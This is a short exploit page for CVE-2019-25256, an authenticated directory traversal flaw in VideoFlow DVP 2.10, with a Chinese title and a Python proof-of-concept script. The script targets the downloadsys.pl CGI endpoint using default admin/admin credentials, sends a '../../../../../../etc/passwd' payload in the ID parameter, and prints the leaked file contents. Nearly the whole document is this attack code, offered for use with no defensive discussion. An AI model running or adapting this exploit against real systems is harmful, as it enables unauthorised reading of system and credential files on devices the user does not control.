CVE-2019-25256 VideoFlow DVP 2.10 认证目录遍历漏洞

import requests # CVE-2019-25256 PoC - Authenticated Directory Traversal in VideoFlow DVP # Target: VideoFlow Digital Video Protection DVP 2.10 TARGET_URL = "http://target.com/cgi-bin/downloadsys.pl" USERNAME = "admin" PASSWORD = "admin" # Create session and authenticate session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } # session.post(f"{TARGET_URL.replace('downloadsys.pl', 'login')}", data=login_data) # Directory traversal payload to read /etc/passwd payload = "../../../../../../etc/passwd" params = { "ID": payload } print(f"[*] Sending malicious request to {TARGET_URL}") print(f"[*] Payload: {payload}") try: response = session.get(TARGET_URL, params=params, timeout=10) print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: if "root:" in response.text or "/bin/" in response.text: print("[+] VULNERABLE! Sensitive file content leaked:") print(response.text[:500]) else: print("[-] Response received but may not be the target file") print(response.text[:200]) except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")